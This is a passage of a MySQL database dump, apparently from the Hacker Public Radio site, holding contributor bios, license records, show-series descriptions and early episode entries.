(376,'Joel D','joel.nospam@nospam.jdueck.net','<p>\r\nI\'m a dad and programmer in Minnesota. I enjoy publishing small books, small websites and small programs, sometimes all at once! I am at <a href=\"https://joeldueck.com\">https://joeldueck.com</a>, <a href=\"https://twitter.com/joeld\">@joeld</a> on Twitter, or <a href=\"https://icosahedron.website/@joeld\">@joeld@icosahedron.website</a> on Mastodon.\r\n</p>\r\n','CC-BY-SA',0,'',1,'Joel D'),
(377,'Zen_Floater2','zen_floater2.nospam@nospam.yahoo.com','<p>My name is Zen_Floater2,  I am a former human being, converted into a Squirrel by {ALIENS} in the 1960\'s and placed in a magical forest in Eastern Oklahoma.   Green Country; I think they call it.<br />\r\nI started developing software in 1975 post Vietnam.  Atheist and complainer about HUMANS and their STUFF</p>','CC-BY-SA',0,'',1,'Zen Floater two'),
(378,'Shannon Wright','support.nospam@nospam.wrighttechnical.net','<p>\r\nI have been using technology since the early 90s.  I love anything tech.  My career started in technical phone support in the 90s.  I have since moved into areas such as: content manager, technical training, business systems analyst, systems administrator and systems engineer.  I love solving problems and continue to learn something new all the time.</p>','CC-BY-SA',1,'',1,'Shannon Wright'),
(379,'mightbemike','mightbemike.nospam@nospam.protonmail.com','<p>\r\nCreator of Bitcorn Battle game <a href=\"https://bitcornbattle.com\">https://bitcornbattle.com</a>, and Rob this Farm contests for problem solvers that want to win free Bitcorn loot.\r\n</p>','CC-BY-SA',0,'',1,'might be mike'),
(380,'Carl','online.nospam@nospam.chave.us','','CC-BY-SA',0,'',1,'Carl'),
(382,'Daniel Persson','mailto.woden.nospam@nospam.gmail.com','<p> I\'m a developer that loves creating code, talking about different solutions, and learning new things. </p> <p> During the workday, I create systems to extract text from media assets, structure them, and produce different results to make the media accessible to everyone. </p> <p> In my time off, I like to create small prototypes and try different techniques and libraries. </p> <p> I\'m also creating some Youtube videos to inspire and help developers to improve their skills. Not that I know everything, but we learn by teaching. </p> <p> Other than these hobbies, I run some open-source projects. To mention a few, I developed the Android SQRL client and the Wordpress plugin for SQRL. I\'ve also contributed to projects creating braille text, epubs, and PDFs as these subjects are close to my daily work. I usually say that I know too much about the PDF file structure as I\'ve worked six years on a tool to extract text from PDFs. </p>','CC-BY-SA',0,'<p>I’m a developer that loves creating code, talking about different solutions, and learning new things.</p>\r\n<p>During the workday, I create systems to extract text from media assets, structure them, and produce different results to make the media accessible to everyone.</p>\r\n<p>In my time off, I like to create small prototypes and try different techniques and libraries.</p>\r\n<p>I’m also creating some Youtube videos to inspire and help developers to improve their skills. Not that I know everything, but we learn by teaching.</p>\r\n<p>Other than these hobbies, I run some open-source projects. To mention a few, I developed the Android SQRL client and the Wordpress plugin for SQRL. I’ve also contributed to projects creating braille text, epubs, and PDFs as these subjects are close to my daily work. I usually say that I know too much about the PDF file structure as I’ve worked six years on a tool to extract text from PDFs.</p>\r\n',1,'Daniel Persson'),
(383,'Paul Quirk','paul.nospam@nospam.pquirk.com','<p>I\'m a licensed electrician, but my hobbies include open source software and retro computing. After listening to Hacker Public Radio for almost a year, I decided to become a contributor.</p>','CC-BY-SA',1,'',1,'Paul Quirk'),
(384,'monochromec','monochromec.nospam@nospam.gmail.com','<p>\r\nTwo old wise men talking about free and open source software, life in general and having a bit of fun along the way.\r\n</p>','CC-BY',0,'',1,'monochromec'),
(385,'crvs','carvas.f.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'c r v s'),
(386,'DanNixon','dan.nospam@nospam.dan-nixon.com','<p>Software engineer, hacker, maker, open source activist.</p>','CC-BY-SA',0,'',1,'Dan Nixon'),
(389,'TrumpetJohn','john.nospam@nospam.biblicaltrumpets.org','<p>\r\nI am a trumpet player/musician/and worship leader with a PhD in church music. I enjoy \"life hacking\" and understanding how systems can influence our daily life, and free us to be more creative beings. My blog site is <a href=\"https://biblicaltrumpets.org\">biblicaltrumpets.org</a>.\r\n</p>','CC-BY-SA',0,'',1,'Trumpet John'),
(390,'o9l','amanda1usernamesarehard.nospam@nospam.protonmail.com','<p>\r\nI\'m o9l!  The name comes from... well... that\'s a story for another time.\r\n</p>','CC-BY-SA',0,'',1,'o9l'),
(391,'Some Guy On The Internet','Lyunpaw.nospam@nospam.gmail.com','- Mastodon: @Yung_Lyun@mastodon.social  \r\n- Matrix: @sgoti:matrix.org  \r\n- Mumble (chatter.skyehaven.net): SGOTI  \r\n\r\n- All messages, created by SGOTI, published on the Social Media  \r\nplatforms: Mastodon, Matrix, and Mumble are licensed under  \r\nCreative Commons Attribution-ShareAlike 4.0 International (CC-BY-SA 4.0 International).  ','CC-BY-SA',0,'',1,'Some Guy On The Internet'),
(420,'HopperMCS','gage.nospam@nospam.gages.blog','I science the computers! https://madcompscientist.com','CC-BY-SA',1,'',1,'gage hopper'),
(392,'timttmy','marshall.cleave.nospam@nospam.tiscali.co.uk','<p>\r\nPlease contact me on my pleroma account @timttmy@the-pit.uk</p>','CC-BY-SA',0,'',1,'timttmy'),
(393,'Anonymous Host','Anonymous.Host.nospam@nospam.hackerpublicradio.org','A catch all account for those who wish to submit content anonymously.','CC-BY-SA',0,'',1,'Anonymous Host'),
(394,'Trey','jttrey3.nospam@nospam.yahoo.com','','CC-BY-SA',0,'',1,'Trey'),
(395,'CoGo','cogocogocogocogo.nospam@nospam.gmail.com','<p>\r\nBorn Again Christian<br />\r\nCNC hobbyist, worker<br />\r\nLove but can\'t afford aviation.\r\n</p>','CC-BY-SA',0,'',1,'Co Go'),
(396,'BlacKernel','izzyleibowitz.nospam@nospam.pm.me','<p>\r\n<strong>Name:</strong> Izzy Leibowitz \r\n<strong>Handle:</strong> BlacKernel</p>\r\n<hr />\r\n<h3>Bio</h3>\r\n<p>I was born at a very young age and, from there, the rest is history.</p>\r\n<p>It\'s not a skill set, it\'s a compultion.</p>\r\n<p>Just your average korn kob on the internet; strangely not using ksh.</p>\r\n<h3>System Fetch</h3>\r\n<p>\r\n<strong>Prefered Pronouns:</strong> Any (He/She/They/It/Your Majesty/Feared Ruler of the Forbidden Languages/etc)<br />\r\n<strong>Prefered Languages:</strong> Rust (compuled), Lua (scripting), Fish (shell scripting)<br />\r\n<strong>Prefered Shell:</strong> fish<br />\r\n<strong>Prefered OS:</strong> Slackware<br />\r\n<strong>Prefered DE:</strong> -XFCE- KDE (you guys were right after all)</p>\r\n<hr />\r\n<h4>Other Projects</h4>\r\n<p>\r\n<strong>SCP Foundation:</strong> <a href=\"https://scpwiki.com/drleibowitz\">Dr. Izzy Leibowitz</a></p>\r\n<h4>Contact Me</h4>\r\n<p>\r\n<strong>Email:</strong> <a href=\"mailto@izzyleibowitz@pm.me.html\">izzyleibowitz at pm dot me</a> \r\n<strong>Mastodon:</strong> <a href=\"https://nixnet.social/BlacKernel\">at blackernel at nixnet dot social</a>\r\n</p>','CC-BY-SA',0,'',1,'Black Kernel'),
(397,'hakerdefo','forever.jekyll.nospam@nospam.disroot.org','<ul>\r\n<li>Blog => <a href=\"https://hakerdefo.github.io/\">https://hakerdefo.github.io/</a></li>\r\n<li>Code => <a href=\"https://github.com/hakerdefo\">https://github.com/hakerdefo</a></li>\r\n</ul>','CC-BY-SA',0,'',1,'haker de fo'),
(398,'one_of_spoons','hpr.nospam@nospam.spoons.one','<p>Mastodon, though very rarely:<br />\r\n@one_of_spoons@hispagatos.space\r\n</p>','CC-BY-SA',0,'',1,'one of spoons'),
(399,'dnt','dnt.nospam@nospam.revolto.net','','CC-BY-SA',0,'',1,'D. N. T.'),
(401,'Mechatroniac','anarch0re.nospam@nospam.tutanota.com','<p>\r\nThe Mechatronics Maniac\r\n<br />\r\n<a href=\"https://www.bitchute.com/channel/mechatroniac/\">https://www.bitchute.com/channel/mechatroniac/</a>\r\n</p>','CC-BY-SA',0,'',1,'Mechatroniac'),
(402,'takov751','takov751.nospam@nospam.protonmail.com','<ul>\r\n<li>Twitter: <a href=\"https://twitter.com/takov751\">@takov751</a></li>\r\n<li>matrix: <a href=\"https://matrix.to/#/@takov751:matrix.org\">takov751:matrix.org</a></li>\r\n<li>email: takov751+hpr@protonmail.com</li>\r\n</ul>','CC-BY-SA',1,'',1,'takov 7 5 1'),
(404,'Sarah','sarah.nospam@nospam.giammarco.ca','<p>Librarian. Spends too much time on the internet.</p>','CC-BY-SA',0,'',1,'Sarah'),
(406,'binrc','binrc.nospam@nospam.protonmail.com','https://0x19.org\r\nthanks for listening :)','CC-BY-SA',0,'',1,'bin R. C.'),
(407,'Celeste','zceleste.nospam@nospam.protonmail.com','I once made a crocheted goose named Celeste in my free time and it has since become a sort of online avatar for me.','CC-BY-NC-SA',0,'',1,'Celeste'),
(405,'Lurking Prion','LurkingPrion.nospam@nospam.gmail.com','<p>\r\nLurking Prion (He/Him/His) is a cybersecurity enthusiast, evangelist, mentor, and professional with 20+ years experience in the Healthcare, Financial, Telecommunications, Managed Security Services Provider (MSSP), Hybrid Cloud Service Provider (CSP), and other unspecified business sectors...\r\n</p>\r\n<p>\r\nBeginning as a network administrator, Lurking Prion\'s career followed security as it progressed throughout the years in roles including:\r\n<ul>\r\n<li>Linux/Windows Systems Administrator</li>\r\n<li>Network Engineer</li>\r\n<li>Telecommunications Engineer</li>\r\n<li>Security Engineer and Architect</li>\r\n<li>Ethical Hacker</li>\r\n<li>Security Consultant</li>\r\n</ul>\r\n</p>\r\n<p>\r\nLurking Prion also has a passion for teaching. It is his mission to help build a new generation of cyber security professionals with a security mindset.\r\n</p>\r\n<p>\r\nLurking Prion may occasionally refer to himself as Robert.<br />\r\nLurking Prion likes coffee, dark beer, and dirty martinis.<br />\r\nLurking Prion only refers to himself in the third person when there is a lack of coffee or an abundance of stupidity.<br />\r\nLurking Prion\'s eye starts to twitch when all hell is about to break loose.<br />\r\nLurking Prion\'s spirit animal is DeadPool.\r\n</p>','CC-BY-SA',0,'',1,'Lurking Prion'),
(416,'screwtape','screwtape.nospam@nospam.sdf.org','Hi everyone! I like to write on the gopher and in common lisp. I am experimenting with idiomatic inclusion of formal ACL2 first order logic as part of larger ASDF3 common lisp system definitions that include side-effect modules.\r\n\r\nYou might know me from the gopher. gopher.club/1/users/screwtape\r\nI normally use openbsd, but in different contexts I often use NetBSD or FreeBSD and I also use Gentoo and Debian linux.','CC-BY-SA',0,'',1,'screw tape'),
(414,'Kinghezy','cbart387.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Kinghezy'),
(410,'Hipernike','hipernike@proton.me','','CC-BY-SA',0,'',1,'Hipernike'),
(70,'TheYellow1','TheYellow1.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'The Yellow One'),
(71,'Will Jason','willjasen.nospam@nospam.charter.net','','CC-BY-SA',0,'',1,'Will Jason'),
(411,'Paul J','hpr@pauljohnstone.com','I am a full-stack developer','CC-BY-SA',0,'',1,'Paul J'),
(412,'m0dese7en','m0dese7en@mykolab.com','','CC-BY-SA',0,'',1,'Mode Seven'),
(413,'CCHits.net Team','show@cchits.net','CCHits.net is a website which produces a daily, weekly and sometimes even a monthly music podcast. Find out more at cchits.net','CC-BY',0,'',1,'CCHits dot net Team'),
(415,'enistello','enistello@tuta.io','@enistello@fosstodon.org','CC-BY-SA',0,'',1,'ennis tello'),
(417,'StarshipTux','wakko222.nospam@nospam.gmail.com','Linux Enthusiast, Podcast Addict','CC-BY-SA',0,'',1,'Star ship Tux'),
(418,'David Thrane Christiansen','david.nospam@nospam.davidchristiansen.dk','<p>\r\nI love programming languages and their implementations, and I especially love exploring new paradigms of writing programs. I\'m online at <a href=\"https://davidchristiansen.dk\">https://davidchristiansen.dk</a>.\r\n</p>','CC-BY',0,'',1,'David Thrane Christiansen'),
(419,'Ryuno-Ki','andre.jaenisch.nospam@nospam.posteo.de','Web-Developer and Consultant as a freelancer since 2023.\r\n\r\nHomepage: https://jaenis.ch/\r\nProfessional email: andre.jaenisch.wdc@posteo.net','CC-BY-SA',0,'',1,'Ryuno-Ki');
/*!40000 ALTER TABLE `hosts` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `licenses`
--

DROP TABLE IF EXISTS `licenses`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `licenses` (
  `id` int(5) NOT NULL AUTO_INCREMENT,
  `short_name` varchar(11) NOT NULL,
  `long_name` varchar(40) NOT NULL,
  `url` varchar(80) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=8 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `licenses`
--

LOCK TABLES `licenses` WRITE;
/*!40000 ALTER TABLE `licenses` DISABLE KEYS */;
INSERT INTO `licenses` (`id`, `short_name`, `long_name`, `url`) VALUES (1,'CC-0','Public Domain Dedication','http://creativecommons.org/publicdomain/zero/1.0/'),
(2,'CC-BY','Attribution','http://creativecommons.org/licenses/by/4.0'),
(3,'CC-BY-SA','Attribution-ShareAlike','http://creativecommons.org/licenses/by-sa/4.0'),
(4,'CC-BY-ND','Attribution-NoDerivs','http://creativecommons.org/licenses/by-nd/4.0'),
(5,'CC-BY-NC','Attribution-NonCommercial','http://creativecommons.org/licenses/by-nc/4.0'),
(6,'CC-BY-NC-SA','Attribution-NonCommercial-ShareAlike','http://creativecommons.org/licenses/by-nc-sa/4.0'),
(7,'CC-BY-NC-ND','Attribution-NonCommercial-NoDerivs','http://creativecommons.org/licenses/by-nc-nd/4.0');
/*!40000 ALTER TABLE `licenses` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `miniseries`
--

DROP TABLE IF EXISTS `miniseries`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `miniseries` (
  `id` int(10) NOT NULL AUTO_INCREMENT,
  `name` varchar(100) NOT NULL,
  `description` text NOT NULL,
  `private` tinyint(1) NOT NULL DEFAULT 0,
  `image` text NOT NULL,
  `valid` int(1) NOT NULL DEFAULT 1,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=123 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `miniseries`
--

LOCK TABLES `miniseries` WRITE;
/*!40000 ALTER TABLE `miniseries` DISABLE KEYS */;
INSERT INTO `miniseries` (`id`, `name`, `description`, `private`, `image`, `valid`) VALUES (4,'Databases','This series will attempt to discuss various different aspects of Database design and operation.',0,'',1),
(5,'This Old Hack','fawkesfyre tales of hacking',1,'',1),
(6,'The Linux Boot Process','Dann talks about the linux boot process',1,'',1),
(7,'LPI Certifications','A series focusing on Linux Professional Institute Certifications (LPIC) <br><a href=\"https://www.lpi.org/\">https://www.lpi.org/ </a>',0,'',1),
(8,'Virtualization','Initiated by Deepgeek, this series contains contributions from many hosts on the topic of Virtualization\r\n',0,'',1),
(11,'Lightweight Apps','Reviews of light weight applications',0,'',1),
(14,'Beverages','The making and consuming of all types of fermented drinks, such as: brewing your own beer, beer tasting and home wine making',0,'',1),
(93,'Cooking','Cooking techniques, recipes, recommendations and cooking equipment',0,'',1),
(78,'Interviews','HPR Correspondents bring you Interviews from interesting people and projects',0,'',1),
(19,'SourceCast','<a href=\"https://sourcecast.org/\"> https://sourcecast.org/ </a> <br>',1,'',1),
(21,'Vulgar Esperanto','klaatu talks about Esperanto',0,'',1),
(22,'All Songs Considered','A Collection of Songs by various artists',0,'',1),
(23,'What\'s in My Toolkit','This is an open series where Hacker Public Radio Listeners can share with the community the items that they can\'t live without, what they find useful in day to day life.',0,'toolkit',1),
(25,'Programming 101','A series focusing on concepts and the basics of programming',0,'',1),
(26,'RoundTable','Panelists dicuss a topic each month.',0,'',1),
(82,'Vim Hints','<p>\r\nVarious contributors lead us on a journey of discovery of the Vim (and vi) editors.\r\n</p>\r\n<p>\r\nVim is a highly configurable text editor built to enable efficient text editing. It is an improved version of the vi editor distributed with most UNIX systems.\r\n</p>\r\n<p>\r\n<a href=\"https://www.vim.org/about.php\">https://www.vim.org/about.php</a>\r\n</p>',0,'',1),
(28,'NewsCast','What\'s happening in the News world',1,'',1),
(29,'How I got into tech','Started by monsterb, this series invites people to share with us how they found Linux. It has become traditional for first time hosts to share with us their journey to Linux. Indeed it has morphed to be way to share your journey in tech right up to your first contribution to HPR.',0,'',1),
(30,'Tit Radio','Welcome to TiT Radio! The only Hacker Public Radio show with super cow powers broadcasting live on ddphackradio.org every utter Saturday night at 11pm CST.  You may be asking yourself \"What in tarnation is Tit Radio?\"  Well, it\'s a potluck style roundtable of geeks talking about Free Software, GNU + Linux, and anything geeky the TiTs bring to the table.  Chat with the TiTs over at irc.freenode.net #linuxcranks.  Thats no bull.',1,'',1),
(34,'Talk Geek to me','deepgeek talks geek to his fans',1,'',1),
(35,'SELF Talks 2009','South East Linux Fest talks 2009',1,'',1),
(36,'Software Freedom Day Dundee 2009','Software Freedom Day Dundee 2009',1,'',1),
(38,'A Little Bit of Python','<p>\r\nInitially based on the podcast \"A Little Bit of Python\", by Michael Foord, Andrew Kuchling, Steve Holden, Dr. Brett Cannon and Jesse Noller. <a href=\"https://www.voidspace.org.uk/python/weblog/arch_d7_2009_12_19.shtml#e1138\">https://www.voidspace.org.uk/python/weblog/arch_d7_2009_12_19.shtml#e1138</a>\r\n</p>\r\n<p>\r\nNow the series is open to all.\r\n</p>',0,'',1),
(42,'Bash Scripting','This is an open series in which Hacker Public Radio Listeners can share their Bash scripting knowledge and experience with the community. General programming topics and Bash commands are explored along with some tutorials for the complete novice.',0,'',1),
(43,'HAM radio','A series about all things Amateur Radio/HAM Radio.',0,'',1),
(119,'Travel','This is an open series where our hosts can document their travel experiences',0,'',1),
(120,'Battling with English','Looking at the English language and highlighting some common anomalies, mistakes, mispellings, grammar problems and similar.',0,'',1),
(121,'HPR New Year Show','Our community welcomes in every time zone to the New Year in this annual event.',1,'',1),
(122,'Computer Strategy Games','<p>This series is about Computer Strategy Games or Video Games as defined by <a href=\"https://en.wikipedia.org/wiki/Video_game\">https://en.wikipedia.org/wiki/Video_game</a></p>',0,'',1),
(44,'Read \'n Code','The Read \'n Code podcast, the only podcast about literature and computer programming.',0,'',1),
(45,'Podcasting HowTo','This series is designed to help the new host begin podcasting and to give the experienced host some tips and tricks.<br />The series is open to all.',0,'',1),
(46,'Urban Camping','Tips and tricks for the Urban Camper',1,'',1),
(47,'HPR Community News','A monthly look at what has been going on in the HPR community. This is a regular show scheduled for the first Monday of the month.',1,'',1),
(48,'The Language Frontier','In this miniseries Skirlet discusses various different aspects of language.',1,'',1),
(52,'THEATER OF THE IMAGINATION','<p></p>\r\n<p>This is my series on Dramatic Audio Media, such as Old Time Radio (\"The Shadow\", \"Gunsmoke\", etc.), BBC Radio, and other classics -- but also, and most especially, the current renaissance of this art form, and how a person (like me, like you) can begin producing your own audio fiction or poetry or whatever for the enjoyment of countless others. This will be a learning process for me, and my mistakes might very well help you avoid any similar such in your own endeavors.</p>\r\n<p></p>',1,'',1),
(53,'HPR_AudioBookClub','HPR AudioBook Club',1,'',1),
(54,'Syndicated Thursdays','A chance to showcase other Creative Commons works. We try to expose podcasts, speeches, presentations, music, etc that you may not have heard. If you have suggestions for items then send your recommendation to admin at hpr and we\'ll add it to the queue.',0,'',1),
(57,'Hardware upgrades','Hosts share their experiences when upgrading their equipment.',0,'',1),
(58,'spics on tech','sikilpaake & badbit team up to give us a Mexican view of the hacker world.',1,'',1),
(95,'Tabletop Gaming','<p>In this series, initiated by klaatu, analog games of various sorts are described and reviewed. See <a href=\"https://en.wikipedia.org/wiki/Tabletop_game\">https://en.wikipedia.org/wiki/Tabletop_game</a> for details.</p>\r\n',0,'',1),
(96,'Penguicon','Penguicon is a Non-Profit, Open Source - Science Fiction Convention held in Southfield, Michigan.\r\n\r\nSee the website at <a href=\"https://www.penguicon.org/\">https://www.penguicon.org/</a> or the Wikipedia page at <a href=\"https://en.wikipedia.org/wiki/Penguicon\">https://en.wikipedia.org/wiki/Penguicon</a>\r\n',0,'',1),
(97,'FOSDEM','<p>FOSDEM is a free event for software developers to meet, share ideas and collaborate.</p>\r\n<p.Every year, thousands of developers of free and open source software from all over the world gather at the event in Brussels.</p>\r\n<ul>\r\n<li>Website: <a href=\"https://fosdem.org/\">https://fosdem.org/</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/FOSDEM\">https://en.wikipedia.org/wiki/FOSDEM</a></li>\r\n</ul>',0,'',1),
(61,'Networking','This series will try and explain the basics of networking to the listener as well as introduce more detailed topics.',0,'',1),
(62,'OggCamp','OggCamp<br />A Free Culture Unconference',0,'',1),
(63,'Packaging applications for GNU Linux and BSD','Klaatu submits a series on packaging applications for GNU Linux and BSD.',0,'',1),
(65,'Talk Geek to me News','',1,'',1),
(0,'general','',0,'',1),
(67,'Linux in the Shell','Linux In The Shell aims to explore the use of many commands a user can run in the Bash Shell. Tutorials include a write up with examples, an audio component about the write up, and a video component to demonstrate the usage of the command.<br />\r\nThe website is <a href=\"https://www.linuxintheshell.com/\">https://www.linuxintheshell.com/</a>',1,'',1),
(69,'Freedom is not Free ','Examining the difference between <b>freedom</b> and <b>free of cost</b>. In the world of free software the main emphasis is on the freedom to run, copy, distribute, study, change and improve the software, not on its lack of cost.',0,'',1),
(70,'LibreOffice','In this in-depth series on LibreOffice we examine Writer, Calc and Impress',0,'',1),
(71,'Mental Health','In this series we discuss issues surrounding mental health.',0,'',1),
(72,'Practical Math','Goal for the series: Embracing units, and carrying them along as you go, can help you work with confidence in using maths in your life.',0,'',1),
(73,'LinuxJAZZ','Shows about Bariman\'s experience as a jazz musician using Linux',1,'',1),
(74,'Privacy and Security','In this open series, you can contribute shows that are on the topic of Privacy and Security',0,'',1),
(75,'Podcast recommendations','This is an open series where Hacker Public Radio listeners can share and recommend podcasts that they listen to.',0,'podcasts',1),
(77,'Filesystems','In this series we explore various different filesystems.',0,'filesystems',1),
(79,'Accessibility','Shows about tearing down the barriers for our fellow hackers.',0,'',1),
(80,'5150 Shades of Beer','FiftyOneFifty leads this open series on all aspects of the Beer.',0,'',1),
(81,'Version Control','This is an open series in which Hacker Public Radio Listeners can share their knowledge and experience of version or revision control systems such as Bazaar, Mercurial, Subversion, CVS and Git.',0,'',1),
(83,'April Fools Shows','',1,'',1),
(84,'Compilers - how they work','In this series we examine how compilers work',0,'',1),
(94,'Learning Awk','Episodes about using Awk, the text manipulation language. It comes in various forms called awk, nawk, mawk and gawk, but the standard version on Linux is GNU Awk (gawk). It\'s a programming language optimised for the manipulation of delimited text.',0,'',1),
(87,'Uber Leet Hacker Force Radio','In this series sigFLUP speaks about her latest coding projects, plays music and conducts interviews',1,'',1),
(88,'Coffee','All aspects of making the perfect cup of Coffee',0,'',1),
(90,'Learning sed','Episodes about using sed, the Stream Editor. It\'s a non-interactive editor which you can use to make simple changes to data, which is how many people use it. However, sed also has a lot of hidden power, especially in the GNU version.',0,'',1),
(91,'Arduino and related devices','In this series various contributors talk about how to use and program Arduino single-board microcontrollers and related devices.<br />\r\nSee the Wikipedia article\r\n<a href=\"https://en.wikipedia.org/wiki/List_of_Arduino_boards_and_compatible_systems\">https://en.wikipedia.org/wiki/List_of_Arduino_boards_and_compatible_systems</a> for details of the range of devices.\r\n',0,'',1),
(98,'Apt Spelunking','<p>\r\n\"Apt spelunking\" is a silly term I made up for the act of searching through your package manager, App Store, Code Repo, etc  with vague terms, and trying out random applications therein. <br />\r\n\r\nA public series started by Windigo.\r\n</p>',0,'',1),
(99,'Information Underground','Deepgeek, Klaatu, and Lostnbronx discuss things.',0,'',1),
(100,'Health and Healthcare','A open series about Health and Healthcare',0,'',1),
(101,'Sound Scapes','Come with us on a journey through sound.',0,'',1),
(102,'GNU Readline','GNU Readline is a software library that provides line-editing and history capabilities for interactive programs with a command-line interface, such as Bash. It is currently maintained by Chet Ramey as part of the GNU Project. This series looks at some of the features of this powerful library.',0,'',1),
(103,'Hobby Electronics','Building electronic devices and kits, repairing electronics and\r\nlearning about components and their uses.',0,'',1),
(104,'Introduction to Git','Initiated by Klaatu, this open series introduces Git and the concepts behind its use in a collaborative environment.',0,'',1),
(105,'Random Elements of Storytelling','lostnbronx leads us on an investigation of the fundamentals of story telling.',1,'',1),
(106,'YouTube Subscriptions','Where the HPR community members share their YouTube Subscriptions',0,'',1),
(107,'Haskell','<p>A series looking into the <a href=\"https://en.wikipedia.org/wiki/Haskell_(programming_language)\"> Haskell (programming language)</a></p>',0,'',1),
(108,'Social Media','Looking at aspects of Social Media - platforms, histories, popularity, philosophies, etc.',0,'',1),
(109,'Lord D Film Reviews','<p>A memorial series dedicated to our late host <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=24\">Lord Drachenblut</a></p>\r\n\r\n<p>Five categories, each rated 0, 1, or 2, so that the final reviews range anywhere from 0 to 10, with 0 being the worst film ever, and 10, the best.</p>\r\n\r\n<p>Each category asks two yes-or-no questions. If the answer to both is no, that category gets a 0. If only one is a yes, it gets a 1. If both are a yes, it gets a 2.</p>\r\n\r\n<h4>Plot</h4>\r\n<ul>\r\n<li>Does it make sense, and/or is free of huge holes?</li>\r\n<li>Does it seem like it has not been done too often?</li>\r\n</ul>\r\n<h4>Main characters</h4>\r\n<ul>\r\n<li>Are they realistic?</li>\r\n<li>Do you care about them?</li>\r\n</ul>\r\n<h4>Genre</h4>\r\n<ul>\r\n<li>Does it work for the plot?</li>\r\n<li>Would this tale have been better in another genre?</li>\r\n</ul>\r\n<h4>Construction</h4>\r\n<ul>\r\n<li>Is the acting competent for the tale?</li>\r\n<li>Are the production and/or editing competent?</li>\r\n</ul>\r\n<h4>Payoff</h4>\r\n<ul>\r\n<li>Did the film makers manage to do what they seemed to be intending?</li>\r\n<li>Are you emotionally satisfied when the film is over?</li>\r\n</ul>\r\n',0,'',1),
(110,'Blockchain','A open series on the Blockchain, cryptographic hash, cryptocurrency, bitcoin etc',0,'',1),
(111,'Linux Inlaws','This is Linux Inlaws, a series on free and open source software, black humour, the revolution and freedom in general (this includes ideas and software) and generally having fun. ',1,'',1),
(112,'The art of writing','An open series on writing tools, media, supplies and techniques.',0,'',1),
(113,'GIMP','An overview of this open-source graphics program, with a focus on photographic issues.',0,'',1),
(114,'Model Hacking','Creating, restoring, painting all sorts of models from RPG characters to model cars.',1,'',1),
(115,'Bicycle Hacking','Maintaining, enhancing and repairing bikes; also the creation of new bikes from recycled ones.',0,'',1),
(116,'Languages','About human languages, including learning them and speaking them',0,'',1),
(117,'DOS','DOS is a general acronym for \"Disk Operating System\", though it came to refer to the operating system used in the IBM PC, particularly Microsoft\'s MS-DOS.',0,'',1),
(118,'Hack Radio Live','A series of syndicated shows about hacking, also available on https://hackradiolive.org/',1,'',1);
/*!40000 ALTER TABLE `miniseries` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `twat_eps`
--

DROP TABLE IF EXISTS `twat_eps`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `twat_eps` (
  `id` int(5) NOT NULL DEFAULT 0,
  `date` date NOT NULL,
  `title` varchar(100) CHARACTER SET utf8mb3 COLLATE utf8mb3_unicode_ci NOT NULL,
  `duration` int(5) NOT NULL,
  `summary` varchar(100) CHARACTER SET utf8mb3 COLLATE utf8mb3_unicode_ci NOT NULL,
  `notes` text CHARACTER SET utf8mb3 COLLATE utf8mb3_unicode_ci NOT NULL,
  `hostid` int(10) NOT NULL,
  `series` int(10) NOT NULL DEFAULT 0,
  `explicit` tinyint(1) NOT NULL DEFAULT 1,
  `license` varchar(11) CHARACTER SET utf8mb3 COLLATE utf8mb3_unicode_ci NOT NULL DEFAULT 'CC-BY-NC-SA',
  `tags` varchar(200) CHARACTER SET utf8mb3 COLLATE utf8mb3_unicode_ci NOT NULL,
  `version` int(5) NOT NULL DEFAULT 0,
  `downloads` int(11) NOT NULL,
  `valid` int(1) NOT NULL DEFAULT 1,
  PRIMARY KEY (`id`),
  UNIQUE KEY `ep_num` (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1 COLLATE=latin1_swedish_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `twat_eps`
--

LOCK TABLES `twat_eps` WRITE;
/*!40000 ALTER TABLE `twat_eps` DISABLE KEYS */;
INSERT INTO `twat_eps` (`id`, `date`, `title`, `duration`, `summary`, `notes`, `hostid`, `series`, `explicit`, `license`, `tags`, `version`, `downloads`, `valid`) VALUES (9,'2005-09-29','Misc Stuff',1180,'','Linlin, J-Hood and the crew discuss tech',8,0,1,'CC-BY-NC-SA','',0,0,1),
(2,'2005-09-20','Cat5 Cables',874,'','droops and dosman talk about network cables',1,0,1,'CC-BY-NC-SA','',0,0,1),
(17,'2005-10-11','Open Source Project',532,'','getting involved with open source projects',4,0,1,'CC-BY-NC-SA','',0,0,1),
(3,'2005-09-21','Old and new dos',1040,'','dosman uses his old school skills to to talk about old and new dos',3,0,1,'CC-BY-NC-SA','',0,0,1),
(4,'2005-09-22','Future of Wifi',1383,'','J-Hood, LinLin and others talk about the future of wifi',6,0,1,'CC-BY-NC-SA','',0,0,1),
(5,'2005-09-25','PEAR',512,'','Rambling about the PEAR project and 35+ instances of uh or um',4,0,1,'CC-BY-NC-SA','',0,0,1),
(6,'2005-09-26','Enhancing Documentation',1190,'','A look at cross-platform, open source and free screen recoding utilities',7,0,1,'CC-BY-NC-SA','',0,0,1),
(7,'2005-09-27','Phreaknic',304,'','droops talks about phreaknic and hacking cons',1,0,1,'CC-BY-NC-SA','',0,0,1),
